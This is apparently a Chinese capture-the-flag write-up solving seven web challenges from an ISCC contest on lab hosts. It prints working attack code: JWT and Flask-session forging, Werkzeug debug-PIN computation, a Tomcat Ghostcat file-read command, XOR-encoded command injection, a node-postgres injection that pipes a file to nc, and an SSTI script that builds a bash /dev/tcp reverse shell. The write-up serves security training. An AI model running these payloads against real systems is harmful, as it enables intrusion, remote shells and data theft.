Web1 还没想好名字的塔防游戏
1.打开靶机获取一个游戏
2.先尝试玩几把游戏得到弹窗提示信息
3.根据弹窗提示全局搜索alert找源码,可以找到三条提示信息
Owls Sketch Shadows
Crystal Rivers Sing
Griffins Guard Galaxies
OSSCRSGGG
4.在网页里看到
Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
同样获取大写字母,组合起来就是Flag
ISCC{MDWTSGTMMOSSCRSGGG}
Web2 Flask中的pin值计算
1.打开靶机获取提示信息
2.Ctrl+u查看源码发现base64的编码的字符串,解码得到路径/getusername;
3.访问/getusername进入以下页面,通过不断的尝试最终发现输入“告诉我username“就可以拿到username值为:pincalculate
4.通过不断的测试,输入app之后会再给我们一个提示访问/crawler,出现了一个需要在1秒内计算的公式,使用脚本计算获取路径信息
5.查看网络请求可以发现,页面所需要计算的值是由/get_expression接口传过来的,那么就可以编写脚本来计算,观察experssion发现要对python运算符进行替换
import json
import requests
text = requests.get("http://101.200.138.180:10006/get_expression").text
# 解析JSON字符串
data = json.loads(text)
# 提取表达式
expression = data["expression"]
# 将乘号和除号替换为Python的运算符
expression = expression.replace("\u00d7", "*")
expression = expression.replace("\u00f7", "/")
# 计算表达式的值
result = eval(expression)
# 打印结果
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text
print(text)
输出:
/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode_mac位于/woddenfish
即获取到app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
6.访问接口/woddenfish,无论点击“敲击”多少次一直显示功德不足,查看一下源码拿到jwt,对jwt进行解密。
7.将解密后的donate换成gongde,然后quantity设置一个极大的值,根据源码得知jwt的key是ISCC_muyu_2024
8.用burpsuite抓包,替换Session后重放包得到响应,得到MAC 地址是: 02:42:ac:18:00:02,转换成十进制为2485378351106,下一步提示为/machine_id
“Session”:“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwfQ.n8_a10iVQh-pjbR7vs-kTGcTinX79xPTZTC5zlazHAU”
9.我们继续输入 /machine_id跟进分析,点击VIP会员奖品拿到一个jwt,点SUPERVIP会员奖品无法获取
10.解jwt得:
11.伪造jwt,修改role
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2NDQ3NjAsImlhdCI6MTcxNDY0MTE2MCwianRpIjoiUXpuLU1NN3djRjFzLVh4NlF2V3V0USIsIm5iZiI6MTcxNDY0MTE2MCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.ll_ExDrBzG-hU18i9yCZe6ALPAe0xFXbra6YbKxOWL5r8XBLDrBUxKTdDinDIxFVU6v69UhHmPrQYvKt0iwaxMDxX71h6XWk5PP0DiSc-IcPol-jJjOdDzjJosyEUzeTkxgD_8T55Y3AbPCligDkBq7HhBuz7yAzWRPZTJpXmfo_CVNdpmCSbriQ_FCYqVScwUZZe6RtD63Pqv_ge5RDWBrx4Lb-DDXLyxdwkibJCbr8A35uNLwv2Vlvx9MhcZANEZG3IrilQRh2n55w74gEyCxIhmXDcfRFSQLMupduP9RcRIAllqKKdXzxq97e0ERp8SnlaZA-W0co8lpAfNVPwA'))
使用构造好的jwt传参,/vipprice?token=得到的结果
可获得supervip的secret_key:welcome_to_iscc_club
12.使用https://github.com/noraj/flask-session-cookie-manager中的flask_session_cookie_manager3.py脚本伪造session
13.把构造好的payload替换掉原来的session之后即可获得machine_id为:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
14.至此已获取全部所需信息
username:pincalculate
modname:flask.app
appname:Flask
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac:2485378351106
machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
15.使用以下脚本计算pin值:
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate',
'flask.app',
'Flask',
'/usr/local/lib/python3.11/site-packages/flask/app.py'
]
private_bits = [
'2485378351106',
'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
16.得到pin值,访问http://101.200.138.180:10006/console?pin=252-749-991即可获取flag
Web3 代码审计
1.打开靶机Ctrl+u查看源码
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip): #初始化任务并创建沙盒目录
self.action = action #要执行的操作
self.param = param #与操作相关的参数
self.sign = sign #用于验证请求的签名
self.sandbox = md5(ip) #基于请求者的 IP 地址生成的 MD5 哈希值创建的目录
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign(): #检查签名是否有效
if "scan" in self.action: #如果 action 包含 scan,执行扫描操作
resp = scan(self.param) #调用 scan 函数读取文件内容
if resp == "Connection Timeout": #检查是否出现连接超时
result['data'] = resp #将响应数据添加到结果中
else: #否则,处理正常响应
print(resp) #打印响应内容(只会打印在本地控制台,并不会显示在网页中)
self.append_to_file(resp) # 追加内容到已存在的文件
result['code'] = 200
if "read" in self.action:
result['code'] = 200
result['data'] = self.read_from_file() # 从已存在的文件中读取
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self): #验证签名
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign(): #基于提供的 param 和预定义的 action("scan")生成一个签名
param = urllib.parse.unquote(request.args.get("param", ""))
action = "scan"
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge(): #根据存储在 cookie 和 get 参数中的 action 和 param 处理一个任务
action = urllib.parse.unquote(request.cookies.get("action"))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index(): #显示 code.txt 文件的内容
return open("code.txt", "r").read()
def scan(param):
try:
with open(param, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return "The file does not exist"
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def get_sign(action, param): #基于 action、param 和密钥生成签名(哈希值)
return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()
def waf(param): #参数过滤
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run()
2.该Flask 应用程序定义了三个路由:
- /geneSign基于从 get参数中获取的 param 和预定义的 action("scan")生成一个签名
- /De1ta通过cookie获取两个参数action和sign的值,通过get参数中获取参数param的值创建一个 Task 实例,执行任务并返回结果的 JSON 字符串。
- /访问网站的根路径,调用 index 函数,读取并返回 code.txt 文件的内容
3.由题目可知:
(1)要想读取到flag,self.param应该等于flag.txt,
(2)cookies中的action+get参数中的param加密后要等于cookies中的sign
get_sign(self.action, self.param) == self.sign
md5(secert_key + flag.txt + action) = md5(secert_key + param + scan)
action=readscan param=flag.txtread
4.首先用路由/geneSign中获取 if (getSign(self.action, self.param) == self.sign) 中sign的值,即构造payload /geneSign?param=flag.txtread
5.然后构造cookie,然后给/De1ta路由的param参数传值为flag.txt就可以拿到最终的flag了
Web4 原神启动
1.打开靶机,Ctrl+u查看源码得到注释:
2.根据提示信息与熊论道,获取提示信息“草克制水”,则在首页面输入”草“属性
3.进入许愿页面,直接输入flag,发现如下所示给了一个flag.txt
4.访问flag.txt后拿到一个假的flag
5.目录扫描获得路径/docs,访问进入页面获取Apache Tomcat版本为8.5.32,该版本存在CVE-2020-1938 Tomcat任意文件读取漏洞
6.直接在github上获取脚本,使用python2环境执行命令,在WEB-INF/flag.txt下获得flag
python2 CNVD-2020-10487-Tomcat-Ajp-1fi.py 101.200.138.180 -p 8009 -f WEB-INF/flag.txt
Web5 掉进阿帕奇的工资
1.打开靶机进入一个登录页面,注册账号然后登录,发现登陆失败,Ctrl+u查看源码,发现job被隐藏了
2.使用burpsuit传参抓包提交职位信息,新加一个参数job=admin,还是无法登录
3.点击信息重置,通过安全问题信息重置,可以发现当前的身份就是manager了
4.取得manager身份进行登录进入后台页面
5.进入工资页面,测试发现基本工资与绩效进行异或得到预测结果
6.根据异或特性,"]A" 与 "12" 的ASCII 码对应位进行异或得到 "ls",RCE可得到当前目录下的文件
7.执行ls命令看到了一个Docfile文件,编写异或脚本生成“cat Docfile”字符串异或后的值,然后传值给web,可以看到Docfile里面的内容
CH= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789[]!@#$%^&*()_+-=:;"
def xor(a):
xor_payload=[]
for i in range(0,len(a)):
num1 = ord(a[i])^ord("1")
if chr(num1) not in CH:
xor_payload.append("a")
num1 = ord(a[i])^ord('a')
print(chr(num1),end="")
continue
print(chr(num1),end="")
xor_payload.append("1")
print("")
return "".join(xor_payload)
print(xor(f"cat Docfile"))
secret.host:
image: nginx
container_name: secret.host
volumes:
- ./:/etc/nginx/conf.d/
8.由Docfile中的内容可以猜测flag在 http://secret.host/flag中
利用php -r来获取http://secret.host/flag的内容
payload:
php -r "echo file_get_contents('http://secret.host/flag');"
9.用脚本进行xor
10.传值给web即可获取flag
Web6 这题我出不了了
1.打开靶机进入以下页面
2.点击“关键信息”进入注册入口页面
3.对中间代码进行分析
导入 mysql 和 pg(PostgreSQL)的模块, pg 为7.0.2 版本。
对debug后的内容进行base64解密得到:
fs.readFile('printFlag', 'utf8', (err, data) => {console.log(data);});
Node.js 读取名为 printFlag 的文件,并将其内容作为字符串传递给回调函数的 data 参数。
如果读取文件过程中没有错误,回调函数会将文件内容打印到控制台。
const mysql = require("mysql");
const pg = require("pg"); // use [email protected]
// WAF
const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec", "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema","table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]
//定义一个包含WAF敏感词的数组,检测和阻止SQL注入攻击和其他恶意输入
// debug:
// ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
// Y29uc29sZS5sb2coZGF0YSk7
// fSk7
4.在此利用node-postgreSQL的漏洞,使用官方脚本,执行远程代码,执行反弹shell命令。
参考:node.js + postgres 从注入到Getshell | 离别歌
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc ip port`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data);
print r.content
5.同时服务器端使用nc监听端口,即可获得flag
Web7 回来吧永远滴神
1.打开靶机进入以下页面,进行搜索获取相应内容,进行填空
2.输入正确答案提交之后,进入隐藏关卡
3.Ctrl+u查看源码,发现一段base64的编码的字符串,进行解密获得部分flag
4.在隐藏关卡,随便输入“123”后显示:神说:大胆!,输入“{% print ttt %}”后报出其他内容,推测此处是模板注入SSTI,且存在waf
5.使用python的fenjing模块跑脚本,在不获取waf黑名单的情况下生成payload
import functools
import time
import requests
from fenjing import exec_cmd_payload
url= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})
return "BAD" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"')
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
6.服务器端使用nc监听端口,使用构造好的payload输入到隐藏关卡页面的输入框,反弹成功,可查看flag[1]和flag[2]源码
7.查看app.py源码,分析代码的加密逻辑,写出解密flag[3]的脚本
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt_block(self, ct):
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
c0 = b2l(ct[:4])
c1 = b2l(ct[4:])
s = (self.DELTA * self.ROUNDS) & msk
for i in range(self.ROUNDS):
c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ ((c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
c1 &= msk
c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ ((c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
c0 &= msk
s -= self.DELTA
return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = 0
for i in range(self.ROUNDS):
s += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
m0 &= msk
m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
m1 &= msk
return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)
def decrypt(self, ct):
blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt_block = self._xor(X, dec_block)
pt += pt_block
X = ct_block
elif self.mode == Mode.CFB:
X = self.IV
for ct_block in blocks:
output = self.encrypt_block(X)
pt_block = self._xor(output, ct_block)
pt += pt_block
X = ct_block
return unpad(pt, self.BLOCK_SIZE // 8)
if __name__ == '__main__':
# Provided KEY and IV in hexadecimal format
KEY = bytes.fromhex('xxx')
IV = bytes.fromhex('xxx')
CIPHERTEXT = bytes.fromhex('xxx')
cipher = Cipher(KEY, IV)
decrypted_message = cipher.decrypt(CIPHERTEXT)
print(f'Decrypted message: {decrypted_message}')
8.将上述几段flag进行结合得到
I{DSK6Fj7cSHvVBCB9XaC5f_Y*4CI6CFCYm6Gs*}
9.对结合得到的字符串进行栅栏枚举解密即可得到flag
版权归原作者 Doris Chan 所有, 如有侵权,请联系我们删除。